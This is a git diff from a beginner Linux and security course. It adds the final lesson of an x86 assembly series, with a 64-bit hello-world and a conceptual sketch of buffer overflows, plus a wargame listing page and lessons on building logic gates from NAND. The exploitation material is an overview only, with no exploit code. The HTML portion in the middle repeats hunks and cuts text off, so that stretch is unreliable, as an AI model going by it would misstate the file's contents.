+> You did it. In 00 the computer was "a box"; now you can look inside that box and give it orders in its lowest language. This final lesson won't teach a new instruction — instead it will take a look at **where you came from**, then map out **where you can go.**
+> Because this course is not an *ending*, it is a *foundation.* What you learned (how the machine really works) is a floor you can build a great deal on top of. Now let's look at which buildings can be raised on that floor.
+
+> **There is only a single piece of code in this lesson** (a taste of 64-bit), and it is real: I compiled and ran it on my own machine. The rest is a roadmap.
+
+---
+
+## 📋 Table of Contents
+
+- [What Did You Learn? A Short Look Back](#what-did-you-learn-a-short-look-back)
+- [Next Stop: Moving to 64-bit](#next-stop-moving-to-64-bit)
+- [Reverse Engineering: Reading Someone Else's Code](#reverse-engineering-reading-someone-elses-code)
+- [Binary Exploitation: Bending the Flow](#binary-exploitation-bending-the-flow)
+- [Resources and a Final Word](#resources-and-a-final-word)
+
+---
+
+## What Did You Learn? A Short Look Back
+
+Stop for a minute and look at the road you've traveled. When you started this course, even the word "register" was foreign; now you have all of this:
+
+- **The machine model** (Unit 0): memory = numbered boxes, registers = the worker's hands, binary/hexadecimal, how the worker works without ever reasoning.
+- **First instructions** (Unit 1): `mov`, memory & pointers (`[...]`), little-endian, arithmetic (`add`/`sub`, two's complement), and **watching each instruction live** in GDB.
+- **Flow** (Unit 2): flags & `cmp`, jumps (`jmp`/`jz`/`jl`), loops, bit operations — that is, **decision** and **repetition.**
+- **Parts & the OS** (Unit 3): the stack, `call`/`ret`, the calling convention, system calls — and finally a real program that **asks you a question and answers it.**
+- **The bridge** (Unit 4): being able to **read** the assembly of a C program.
+
+So now you know, not abstractly but **concretely**: what a computer really does when it "runs." This is a floor that even most programmers can't see clearly. From here, there are three main roads.
+
+> 🔑 This course is a foundation, not an ending. The machine model + instructions + flow + the OS interface + reading compiled code — you have all of it. Three forward roads: **going deeper into 64-bit**, **reverse engineering**, **binary exploitation.** All three rise on top of the floor you're standing on here.
+
+---
+
+## Next Stop: Moving to 64-bit
+
+Throughout this course we learned **32-bit** — because it's simpler and shows the concepts more cleanly. But most machines today run **64-bit**. The good news: the ideas are **exactly the same**; only a few names and details change. Let's write the same "Hello" in 64-bit (`merhaba64.asm`):
+
+```nasm
+section .text
+ global _start
+_start:
+ mov rax, 1 ; sys_write (1 in 64-bit — was 4 in 32-bit)
+ mov rdi, 1 ; screen (rdi instead of ebx)
+ mov rsi, mesaj ; address (rsi instead of ecx)
+ mov rdx, uzunluk ; length
+ syscall ; NOT int 0x80 → syscall
+
+ mov rax, 60 ; sys_exit (60 in 64-bit — was 1 in 32-bit)
+ mov rdi, 0
+ syscall
+```
+
+Assemble it with `nasm -f elf64 ... && ld ...`, run it → it prints `Hello (64-bit world)` to the screen. What changed is the grown-up version of things you already know:
+
+| | 32-bit (what you learned) | 64-bit |
+|---|---|---|
+| Registers | `eax`, `ebx`... (32 bit) | `rax`, `rbx`... (64 bit) + 8 new: `r8`–`r15` |
+| System call | `int 0x80` | `syscall` |
+| Call numbers | write=4, exit=1 | write=1, exit=60 |
+| Syscall arguments | `ebx, ecx, edx` | `rdi, rsi, rdx`... |
+
+As you can see, the **concept** never changed — "put a value in a register, write the number into `rax`, make the call." Only the names and a couple of numbers differ. If you understood 32-bit, moving to 64-bit is an afternoon's work.
+
+(The only real *new habit* is this: in 64-bit you put a **function's** arguments — instead of `push`ing them onto the stack and reading from `[ebp+8]` as you did in 16 — directly into **registers** (`rdi`, `rsi`, `rdx`...). So the `[ebp+8]` stack-argument model from 16 is specific to 32-bit cdecl; inside a 64-bit function you won't see `[ebp+8]` — you'll want to know this in reverse engineering. The fact that the *syscall* arguments in the table above sit in registers is already an example of the very same logic.)
+
+> 🔑 64-bit is the **grown-up version** of what you learned: `e__` registers become `r__` (+ `r8`–`r15`), `syscall` replaces `int 0x80`, the call numbers change. Most of the concepts (register, stack, syscall) are the same; the **idea** of the calling convention is the same too — the only real difference is that function arguments move to **registers** instead of the stack. If 32-bit is a solid foundation, 64-bit is just a new dialect.
+
+---
+
+## Reverse Engineering: Reading Someone Else's Code
+
+In 19 we cracked the big door ajar: you were able to read the assembly of a C program. **Reverse engineering** is exactly the scaled-up version of that — but this time **without** having the source code (C) in hand, answering the question "what does this do?" just by looking at the compiled program (the binary).
+
+Why is it done? To understand how a program with no source works: to analyze a virus, to find a security hole, to understand a closed format, or simply out of curiosity to say "how did they do this?" And the new eye you've just gained — the eye that recognizes `push ebp`, `[ebp+8]`, `call` — is **exactly the foundation** of this work.
+
+You've already met, or will meet, the tools that make this easier:
+
+- **`objdump -d`** — dumps the assembly of a binary (we used `objdump` in this course).
+- **GDB** — stepping through live while it runs (the course's most powerful tool; the same in RE).
+- **Ghidra / radare2 / Cutter** — professional tools for analyzing huge programs; they even turn assembly into readable "pseudo-C." But whether that pseudo-C is correct can only be understood by someone who **can read assembly** — that is, you.
+
+> 🔑 **Reverse engineering** = looking at a compiled binary without its source code and saying "what does it do." It's the source-less version of what you did in 19 (reading asm). The tools (`objdump`, GDB, Ghidra) speed the work up, but the core skill is the **assembly-reading** eye you gained in this course.
+
+---
+
+## Binary Exploitation: Bending the Flow
+
+The third road is the most exciting. Reverse engineering asks "what does the program do?"; **binary exploitation** goes one step further: *"how do I force the program to do something its author **never wanted**?"*
+
+And here is where the finest gift the course gave you is rewarded: **the stack you learned in 14 is the heart of exploitation.** Recall — when you make a `call`, the **return address** was written onto the stack (15). What if a program stores the data it takes from the user on the stack without any bounds, and that data overflows and writes **over the return address**? Then `ret` no longer returns to where the program should go, but to the address **you** placed there — you've bent the flow. This is called a *buffer overflow*, and it is the door to an entire world of security.
+
+Everything you need to understand this (the stack, `call`/`ret`, the return address, memory) you gathered in this course. And you're lucky: inside this very repo there are series that continue right from here —
+
+- **[The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** — the direct continuation of this course; start *bending* the stack.
+- **OverTheWire** wargames (especially **Narnia**, **Behemoth**) — get your hands dirty and learn by exploiting real vulnerabilities.
+
+> 🔑 **Binary exploitation** = forcing a program into behavior its author didn't want. The classic example is the *buffer overflow*: overflowing data crushes the **return address** on the stack, and `ret` returns to wherever you want (14+15!). This course's stack is the very heart of exploitation — the continuation is in the repo's binary_exploitation series and on OverTheWire.
+
+---
+
+## Resources and a Final Word
+
+Wherever you go, a few solid compasses:
+
+- **This repo** — [x86_assembly](./00_buradan_basla.md) (this series you just finished), [binary_exploitation](../binary_exploitation/00_buradan_basla.md), and the OverTheWire solutions. It continues in the same "from the very bottom up" spirit.
+- **Don't let go of GDB.** The most powerful thing you learned in this course wasn't a command but a **habit**: "if you don't understand it, step through it, see it with your own eyes." In 64-bit, in RE, in exploitation — it's your best teacher everywhere.
+- **Follow your own curiosity.** If you ever wonder how a program works, look inside it with `objdump -d`. That output won't feel foreign to you anymore. Not a warning but an encouragement: a real binary — especially one that's optimized, PIE, and stripped of symbols — looks messier than this course's spotless `-O0` examples; PLT/GOT jumps, nameless chunks of code... No panic, the bricks are still familiar — just more of them, laid out more cunningly. Scale up the `-O1` cunning you saw in 19, and that's all it is.
+
+And a final word. The promise at the start of this course was this: *no magic, no hidden work, no invisible rules sneak in between.* I hope it held. Nothing a computer does is magic — it's just very simple operations stacking on top of one another at an unimaginable speed, with exactly the instructions you can now read. That box is no longer closed.
+
+From here on it's up to your curiosity. Safe travels. 🚀
+
+> 🔑 This course was the foundation; three roads (64-bit, RE, exploitation) lead out from here. Your most lasting tool isn't a command but the habit **"if you don't understand it, step through it in GDB, see it with your own eyes."** And the promise from the start: there is no magic in the machine — just instructions you can now read. The box is open.
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Recall where you started; every item on the "what you'll be able to do at the end" list is now in your hands
+- [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md) — Reading compiled code; the direct first step of reverse engineering
+- [14_stack.md](./14_stack.md) — The heart of binary exploitation; the basis of the idea of "crushing the return address"
+- [../binary_exploitation/00_buradan_basla.md](../binary_exploitation/00_buradan_basla.md) — The direct continuation of this course: start *bending* the flow you learned
+
+---
+
+**Previous topic:** [19_c_ile_assembly_koprusu.md](./19_c_ile_assembly_koprusu.md)
+**Next step:** [The Binary Exploitation series](../binary_exploitation/00_buradan_basla.md) — 🎉 **The x86 Assembly series is completed here.** Keep bending the stack you learned.
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konular.html b/docs/eng/konular.html
index 1f1b15c..9993b81 100644
--- a/docs/eng/konular.html
+++ b/docs/eng/konular.html
@@ -27,7 +27,7 @@
topic guides
resources
Narnia05 / 08
+ Narnia05 / 09
Binary exploitation — buffer overflow, format string and basic exploit development. Requires reading assembly.
6/10
Difficulty
Learn Linux and security by watching the te
- Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10Difficulty
@@ -196,7 +196,7 @@ Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
@@ -246,9 +262,17 @@ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10
Difficulty
Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10
Difficulty
Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10
Difficulty
Learn Linux and security by watching the te
Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+
+
+
+ 6/10
Difficulty
27
Levels
+
endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
linux_commands/
file system · text processing · networking · permissions · processes · git
switches_to_computer/ 🚧
switch → NAND → gates → adder; build the processor from its parts
x86_assembly/
assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
binary_exploitation/
x86 assembly → format string → ROP → GOT/PLT → protections
web_security/
HTTP · source & devtools · cookies · injection · deserialization
leviathan_commands/
binary analysis · gdb · ltrace/strace · symlink · brute force
+
+
+When you pass the level, stop and feel this: you just **made electricity make a
+decision.** No finger, no human — current managed current. Everything else is a
+repetition of this.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ 1 = current present, 0 = current absent. Nothing else.
+☐ The wire knows no meaning; WE assign the meaning to the 1/0, the number, the letter.
+☐ The switch turns current on and off — but its lever needs a finger.
+☐ Relay = a switch whose lever is pushed by ELECTRICITY → electricity manages electricity → decisions chain.
+☐ Two temperaments: default on = normally passes (NC), default off = normally cuts (NO).
+☐ Transistor = the relay's motionless, tiny, billions-of-times-fast grandchild. Same idea.
+☐ NAND: only "1 1" gives 0, the rest give 1. The universal brick — everything will derive from it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The roadmap of the series
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Deriving all the gates from this brick
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
new file mode 100644
index 0000000..ffe3b9a
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
@@ -0,0 +1,203 @@
+# 🧱 From Switches to a Computer — All the Gates from a Single Brick
+
+> Last lesson we said "NAND is universal, everything derives from it." Claims like this
+> shouldn't stay just words. In this lesson **you** will prove the claim: using only NAND,
+> you'll build the NOT, AND and OR gates. When the lesson ends you'll hold a
+> four-word language — and we'll never go back to relays again.
+
+> **From this lesson on, NAND is a closed box for you.** We're done with the relays
+> inside it; from now on NAND has only a **table**. This forgetting is deliberate — we'll
+> talk about exactly why in 03.5.
+
+---
+
+## 📋 Table of Contents
+
+- [What We Have: The Closed-Box NAND](#what-we-have-the-closed-box-nand)
+- [NOT (invert): Wiring It to a Mirror](#not-invert-wiring-it-to-a-mirror)
+- [AND: The Inverse of the Inverse](#and-the-inverse-of-the-inverse)
+- [OR: Entering Through the Inverted Gate](#or-entering-through-the-inverted-gate)
+- [A Four-Word Language](#a-four-word-language)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## What We Have: The Closed-Box NAND
+
+From now on we'll draw NAND like this — no insides, just its behavior:
+
+```
+ ┌────────┐
+ a ─────┤ │
+ │ NAND ├───── output 0 only when a=b=1, else 1
+ b ─────┤ │
+ └────────┘
+```
+
+NandGame does the same: the moment you clear the Nand level, a ready-made part called
+**nand** appears in the box of the later levels. That part is the circuit you built —
+its boxed-up form.
+
+Our task: derive three gates using only this box. No tricks, no other parts.
+
+---
+
+## NOT (invert): Wiring It to a Mirror
+
+The simplest gate is **NOT**: it has a single input and inverts it.
+
+| x | output |
+|---|:---:|
+| 0 | **1** |
+| 1 | **0** |
+
+What we have, though, is a two-input NAND. How do you make something with a single input
+out of a two-input part?
+
+Look at NAND's table and read only the rows where **both inputs are the same**:
+
+| a | b | NAND |
+|---|---|:---:|
+| **0** | **0** | 1 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| **1** | **1** | 0 |
+
+`0,0 → 1` and `1,1 → 0`. So when the inputs are always the same, NAND behaves exactly
+like an **inverter**. In that case the solution is: **wire the same wire to both inputs of
+the NAND.**
+
+```
+ ┌────────┐
+ x ──┬──┤ │
+ │ │ NAND ├───── inverse of x
+ └──┤ │
+ └────────┘
+```
+
+> 💡 This little trick is the first "derivation" in the series, and it sums up the method
+> nicely: we didn't invent a new gate — we **forced** the part we had into the rows of its
+> table that serve our purpose. Circuit design is mostly this.
+
+---
+
+## AND: The Inverse of the Inverse
+
+The **AND** gate is just what its name says: 1 if both inputs are 1, otherwise 0.
+
+| a | b | AND |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 0 |
+| 1 | 0 | 0 |
+| 1 | 1 | **1** |
+
+Now place this table side by side with NAND's... did you notice? **It's the exact opposite,
+row by row.** NAND already meant "AND-not"; so:
+
+> **AND = invert NAND's output.** And we just built the inverter.
+
+NAND + NOT (made from NAND) = AND. Two boxes, done.
+
+---
+
+## OR: Entering Through the Inverted Gate
+
+**OR**: 1 if **at least one** of the inputs is 1.
+
+| a | b | OR |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 1 |
+
+This time the job looks hard at first: NAND's table doesn't much resemble OR's. But when you
+think in the guard's language, a way opens up. Compare the two sentences:
+
+- OR: *"let at least one of them **have come**."*
+- NAND: *"don't let both of them **be**."*
+
+Now build the OR sentence backwards: "let at least one have come" = **"don't let both of
+them have NOT come."** Do you see the double negative in it? "Not come" (the inverse of the
+inputs) + "don't let be" (NAND). So:
+
+> **OR = invert BOTH inputs, then feed them into NAND.**
+
+Verify (for a=0, b=1): the inverses are 1 and 0 → NAND(1,0) = 1 ✓. (a=0, b=0): the inverses
+are 1,1 → NAND = 0 ✓. All four rows hold — build it and see.
+
+> 💡 With your own hands you just discovered a famous rule from the history of logic:
+> **De Morgan's law** — "OR is the inverse of the AND of the inverses." Books give it as a
+> formula; you found it with the guard's sentence. They're the same thing, but yours is
+> yours.
+
+---
+
+## A Four-Word Language
+
+Look at your inventory — yesterday it was zero, today you have four gates:
+
+| Gate | Its sentence | How it's built (all from NAND) |
+|---|---|---|
+| **NAND** | "don't let both be" | 2 relays *(lesson 01)* |
+| **NOT** | "the inverse" | NAND with its inputs joined |
+| **AND** | "both" | NAND + NOT |
+| **OR** | "at least one" | NAND with its inputs inverted |
+
+> 🔑 Notice: the table has no relay column, because we no longer need one. **Everything is
+> in terms of NAND** — and what's inside NAND (a relay, a transistor, some entirely
+> different technology) is of no concern to this table. Even if the lower layer changes,
+> these four words stay valid. This is exactly the power of the concept of a "layer."
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** the next three levels in NandGame: **Invert → And → Or.**
+
+The lesson has already shown the way; still, verify your table yourself as you build: at
+each level, change the input buttons by hand and watch the output. The confirmation of
+"Check solution" and seeing it with your own eyes are two different things — the second one
+teaches.
+
+🔒 The logic of the solution — try it yourself first, then open
+ +Two relays, two jobs: + +1. **The "did both arrive?" question — the default off relay.** Connect `a` to its coil + and `b` to its input (`in`). Since this relay passes only when the coil is full, for + there to be current at its output you need **both a=1 (coil) and b=1 (the current + passing through).** So this relay's output = "a AND b". +2. **The negation — the default on relay.** Connect the previous relay's output to its + coil, and `V` (always 1) to its input. When the coil is empty it passes V (output 1); + when "a AND b" happens and the coil fills, it cuts the path (output 0). + +Result: output = "**not** a AND b" = NAND. With two rusty relays, you've built the +computer's universal brick. + +
+
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ NAND is now a closed box: no insides, just a table. We're done with relays.
+☐ NOT = give the same wire to both NAND inputs ("wiring it to a mirror").
+☐ AND = NAND + invert (NAND already meant "AND-not").
+☐ OR = invert the inputs, then NAND ("don't let both have NOT come").
+☐ Along this path you discovered De Morgan's law by yourself.
+☐ The method is called derivation: don't invent new parts, force the one you have into its table.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — What was inside NAND: relays
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The next gate: XOR, the difference detector
+- [03.5_soyutlama_merdiveni.md](./03.5_soyutlama_merdiveni.md) — Why the "closed box" idea matters so much
+
+---
+
+**Previous topic:** [01_akim_salter_role.md](./01_akim_salter_role.md)
+**Next topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
new file mode 100644
index 0000000..0672547
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03.5_soyutlama_merdiveni.md
@@ -0,0 +1,109 @@
+# 🪜 From Switches to a Computer — Interlude: The Ladder of Abstraction
+
+> For three lessons now you've been doing something you probably never named: every
+> circuit you build, you **close up** and climb on top of. This short interlude gives
+> that move a name. Because that move isn't a habit — it's **the one and only reason a
+> computer can exist at all.**
+
+> *(Interlude: short, no circuits, no game. Pour yourself a tea, read it, move on.)*
+
+---
+
+## Look at the Ladder
+
+Here's what you've done so far, in order:
+
+1. You started with the **relay**. Your head was in the coil, in the contact — "when the coil fills up, the arm gets pulled..."
+2. From two relays you built the **NAND**. And something happened: the moment you built the NAND, you
+ **forgot** the relays. In the later levels the NAND was a box you couldn't see inside of;
+ it just had a table.
+3. From NANDs you built **NOT, AND, OR**. They got boxed up too.
+4. From gates you built **XOR**. Now it's in a box too: two inputs, one table, and nobody
+ cares what's inside.
+
+```
+ ┌ XOR ┐ ← you are here right now
+ │ from gates │
+ ┌ OR/AND/NOT ┐ ← boxed up
+ │ from NANDs │
+ ┌ NAND ┐ ← boxed up
+ │ from relays │
+ ┌ RELAY ┐ ← boxed up (you forgot it long ago)
+ │ from physics... │
+```
+
+We'll call this the **ladder of abstraction**. The rule fits in one sentence:
+
+> 🔑 **One floor's ANSWER is the next floor's SIGNAL.** When you built the XOR, you didn't
+> think of OR's output as "OR's output" — you fed it to the AND as an ordinary signal, like
+> a, b. The lower floor closes up; the wire it produces behaves like an input that was there
+> from birth on the floor above.
+
+---
+
+## Why Does This Matter So Much?
+
+Let's do a bit of arithmetic. Inside the XOR there are 3 gates; inside each gate a few NANDs,
+inside each NAND 2 relays. So the thing you call XOR is really a machine made of a dozen
+relays. We're going to build an adder — inside it there will be several XORs. By the time we
+reach the processor the count will run into the **billions**.
+
+**Nobody can hold a billion parts in their head at once.** Computer engineering didn't solve
+this — it **never had to**, because thanks to the ladder nobody needs to think about a billion
+parts:
+
+- Whoever designs the relay thinks about a magnet — they don't care about the NAND.
+- Whoever builds the NAND thinks about two relays — they don't care about the XOR.
+- Whoever builds the adder thinks about a few gates — they don't even remember that a thing called a relay exists.
+
+Every floor works with **a handful of parts**. What you call a billion is a stack of handfuls piled on top of each other.
+
+> 💡 You've lived through a proof of this: in lesson 02 we said "we won't go back to relays
+> anymore," and we didn't. Did you lose anything? No — because the NAND's table carried
+> everything the relay could ever give. If a floor is closed up correctly, what's below it can
+> be **safely** forgotten.
+
+---
+
+## The Ladder's Two Faces
+
+The same ladder runs in both directions, and you're doing both in this series:
+
+- **Up (while building):** build the part → box it up → use it as a part on the floor above.
+ NandGame's level layout is exactly this: every level you solve shows up as a ready-made part
+ in the next level's box.
+- **Down (when you want to understand):** open any box, read it in the language of the floor
+ below. "How does XOR work?" → gates. "How about AND?" → NANDs. "NAND?" → relays.
+ There's no wall on any floor; **every box can be opened.** This is the technical meaning of
+ the sentence "a computer is not magic."
+
+> ⚠️ The ladder's only danger: closing up a floor before it has **settled**. For you to be able
+> to trust a box's table, you have to have actually built it at least once. That's why skipping
+> levels is forbidden in this series — a box you didn't solve is a box you can't trust.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Ladder of abstraction: build → box up → climb on top. The lower floor is safely forgotten.
+☐ Rule: one floor's ANSWER is the next floor's SIGNAL.
+☐ A billion-part chip is possible this way: nobody thinks about the billion, everybody thinks about one handful.
+☐ The ladder also goes down: every box can be opened. No magic.
+☐ The one forbidden move: closing up a floor that hasn't settled. Don't trust a box you didn't build.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — The first boxing-up: NAND closes
+- [03_xor_iki_fedai.md](./03_xor_iki_fedai.md) — The last rung of the ladder you stepped on
+- [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md) — Now a new floor: the floor of meaning
+
+---
+
+**Previous topic:** [03_xor_iki_fedai.md](./03_xor_iki_fedai.md)
+**Next topic:** [04_teller_sayi_olunca.md](./04_teller_sayi_olunca.md)
+
+*This lesson is part of the "From Switches to a Computer" series. The series moves along together with [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
new file mode 100644
index 0000000..ef0f568
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/03_xor_iki_fedai.md
@@ -0,0 +1,174 @@
+# 🚪 From Switches to a Computer — XOR: The Tale of Two Bouncers
+
+> The gates so far were one-sentence characters: "both," "at least one,"
+> "the opposite." In this lesson, for the first time, you'll build a gate that asks for
+> **two sentences at once**: XOR, the difference detector. Along the way you'll learn two things: what it means
+> for gates to form a **team** — and the strange fact that will open the door to the next unit: XOR is, in fact,
+> a secret **adder.**
+
+> XOR is the series' "my brain is fried" stop: the first multi-gate structure. The burn is normal and
+> temporary — this lesson was written for exactly that wall.
+
+---
+
+## 📋 Table of Contents
+
+- [Mission: The Difference Detector](#mission-the-difference-detector)
+- [Why Isn't One Gate Enough?](#why-isnt-one-gate-enough)
+- [Two Bouncers, One Approval Desk](#two-bouncers-one-approval-desk)
+- [Verify the Table with the Bouncers](#verify-the-table-with-the-bouncers)
+- [XOR's Secret Identity (Trailer for the Coming Unit)](#xors-secret-identity-trailer-for-the-coming-unit)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## Mission: The Difference Detector
+
+**XOR** (from *exclusive or*), looks at its two inputs and asks a single
+question: **"are you two different?"**
+
+| a | b | XOR | reading |
+|---|---|:---:|---|
+| 0 | 0 | **0** | same → 0 |
+| 0 | 1 | **1** | different → 1 |
+| 1 | 0 | **1** | different → 1 |
+| 1 | 1 | **0** | same → 0 |
+
+You can read the same table through a second lens: the output is 1 only when there is **exactly one
+1**. Both readings are correct; tuck the second one in your pocket, it'll come in handy this lesson.
+
+---
+
+## Why Isn't One Gate Enough?
+
+Try the gates you have, one by one — which one matches this table?
+
+- **Try OR:** "at least one." Same as XOR for the first three rows... but it blows it on the last row:
+ OR(1,1)=1, while XOR wants it to be 0. ✗
+- **Try NAND:** "not both." It nails the last row (1,1→0)... but it blows it on the first
+ row: NAND(0,0)=1, while XOR wants it to be 0. ✗
+- **AND**, **NOT** — try them, none of them can hit all four of the four rows.
+
+Here's the reason: what XOR wants is **not a single condition, but the intersection of two conditions:**
+
+1. "At least one of you be 1" *(eliminates 0,0)*
+2. "But don't both of you be 1" *(eliminates 1,1)*
+
+A single gate says a single sentence. A two-sentence job needs a **team**.
+
+> 🔑 This is the first big design lesson in the series: a complex request breaks down into the **intersection
+> of simple requests.** A gate for each simple request, and a gate for the intersection — and the job's
+> done. You'll build every circuit from here on like this: first split into sentences, then hand out gates
+> to the sentences.
+
+---
+
+## Two Bouncers, One Approval Desk
+
+Now set up the story. Picture a club door; the rule for getting in is "exactly one of you two."
+Two bouncers stand at the door, and each one enforces **a single rule**:
+
+- **The OR bouncer:** *"At least one of you must have shown up."* — Doesn't approve an empty arrival (0,0).
+- **The NAND bouncer:** *"But you can't both come in."* — Doesn't approve a paired arrival (1,1).
+
+The **approval desk (AND)** inside does just one thing: **if both bouncers say "okay"**
+it opens the door.
+
+```
+ a ──┬──────────► [ OR bouncer ] ──┐
+ │ ├──► [ AND approval desk ] ──► XOR output
+ b ──┴──────────► [ NAND bouncer ] ─┘
+```
+
+(a and b appear to both bouncers **at the same time** — the wires fork, no one waits their turn.)
+
+---
+
+## Verify the Table with the Bouncers
+
+Run each of the four possibilities through the gates one by one:
+
+| Arrivals (a,b) | OR bouncer | NAND bouncer | Approval desk (AND) |
+|---|:---:|:---:|:---:|
